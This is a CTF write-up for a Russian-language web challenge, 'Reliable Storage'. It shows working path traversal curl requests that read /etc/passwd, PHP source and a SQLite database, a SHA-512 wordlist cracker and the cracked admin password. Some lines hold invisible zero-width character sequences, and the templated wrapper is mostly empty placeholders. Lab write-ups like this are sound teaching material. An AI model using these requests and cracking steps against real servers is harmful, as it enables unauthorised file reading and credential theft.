76 - Надежное хранилище (Reliable Storage)

Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-09 | Status: Solved Techniques: database_extraction, path_traversal, proc_self_cwd, sha512_cracking

Summary

Welcome to "Reliable Storage" - a secure digital bunker where information is encrypted stronger than a titanium safe. Here every record is a powerful encryption algorithm, weaving bits and bytes into an intriguing puzzle of impenetrable codes.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: duckerz | ID: 20260109_duckerz_reliable_storage
• Tags: sqlite, lfi, path_traversal, php, hash_cracking
• Indicators: download parameter, file download functionality, PHP application, no input sanitization
• Source: 20260109_duckerz_reliable_storage.md

Foothold

Vulnerability / Misconfiguration

1. Database_extraction
2. Path_traversal
3. Proc_self_cwd
4. Sha512_cracking

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• database_extraction
• path_traversal
• proc_self_cwd
• sha512_cracking
• Tags: sqlite, lfi, path_traversal, php, hash_cracking

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Добро пожаловать в "Надёжное хранилище" – защищенный цифровой бункер, где информация шифруется более крепче, чем сейф из титана. Здесь каждая запись – это мощный алгоритм шифрования, сплетаящийся из битов и байтов в интригующий пазл непроницаемых кодов.

Welcome to "Reliable Storage" - a secure digital bunker where information is encrypted stronger than a titanium safe. Here every record is a powerful encryption algorithm, weaving bits and bytes into an intriguing puzzle of impenetrable codes. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

URL: http://tasks.duckerz.ru:30060

Analysis

Reconnaissance

Initial analysis revealed a PHP web application with the following structure:

• index.php - main page
• login.php - authentication
• register.php - registration
• notes.php - view notes
• create_note.php - create notes

Server: PHP/7.4.33

Vulnerability Discovery

After registering a test user and logging in, a file download functionality was discovered:

notes.php?download=note0.txt

Testing Path Traversal:

curl "http://tasks.duckerz.ru:30060/notes.php?download=../../../etc/passwd" --cookie "PHPSESSID=xxx"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Result: Successfully read /etc/passwd - LFI vulnerability confirmed!

Source Code Analysis

Used the /proc/self/cwd/ trick to read PHP files:

# Read notes.php
curl "http://tasks.duckerz.ru:30060/notes.php?download=../../../proc/self/cwd/notes.php" --cookie "PHPSESSID=xxx"

# Read login.php
curl "http://tasks.duckerz.ru:30060/notes.php?download=../../../proc/self/cwd/login.php" --cookie "PHPSESSID=xxx"

Information obtained from source code:

• File storage structure: notes/notes_$username/
• Database path: static/instance/database.db ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Database Extraction

curl "http://tasks.duckerz.ru:30060/notes.php?download=../../../proc/self/cwd/static/instance/database.db" \
  --cookie "PHPSESSID=xxx" -o database.db

SQLite database analysis:

sqlite3 database.db "SELECT * FROM users;"

Administrator password hash discovered (SHA-512):

758238474be74eb5426ccf07b21d7c9fbc84a801253d22b02c8160f42c63db003a81e906148f4033020cd3c5b975f2f7794e434744a8f862c785c4f78b81d71c

Solution

Hash Cracking Script

#!/usr/bin/env python3
"""
SHA-512 Hash Cracker for duckerz CTF - Reliable Storage
"""
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

import hashlib
import sys

TARGET_HASH = "758238474be74eb5426ccf07b21d7c9fbc84a801253d22b02c8160f42c63db003a81e906148f4033020cd3c5b975f2f7794e434744a8f862c785c4f78b81d71c"

def crack_hash(wordlist_path):
    """Crack SHA-512 hash using wordlist"""
    with open(wordlist_path, 'r', encoding='latin-1') as f:
        for line in f:
            password = line.strip()
            hash_attempt = hashlib.sha512(password.encode()).hexdigest()
            if hash_attempt == TARGET_HASH:
                print(f"[+] Password found: {password}")
                return password
    return None
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    wordlist = sys.argv[1] if len(sys.argv) > 1 else "/usr/share/wordlists/rockyou.txt"
    print(f"[*] Cracking SHA-512 hash using {wordlist}")
    result = crack_hash(wordlist)
    if not result:
        print("[-] Password not found")

Result: Administrator password - simpleplan

Getting the Flag

1. Login as administrator:simpleplan
2. Found fl4g.txt file in administrator's storage
3. Downloaded flag through the interface

Exploited Vulnerabilities

Attack Chain

Register User → Login → Find Download Feature → Test Path Traversal
       ↓
Read /etc/passwd (confirm LFI) → Read PHP sources via /proc/self/cwd/
       ↓
Find database path → Extract SQLite DB → Crack admin hash
       ↓
Login as admin → Download flag

Defense

1. Path validation: Use basename() and whitelist of allowed files
2. Strong passwords: Require complex passwords for administrators
3. Database storage: Place database outside webroot
4. Hashing: Use bcrypt/argon2 instead of SHA-512 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

References

• OWASP Path Traversal
• CWE-22: Improper Limitation of a Pathname
• /proc/self/cwd trick ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR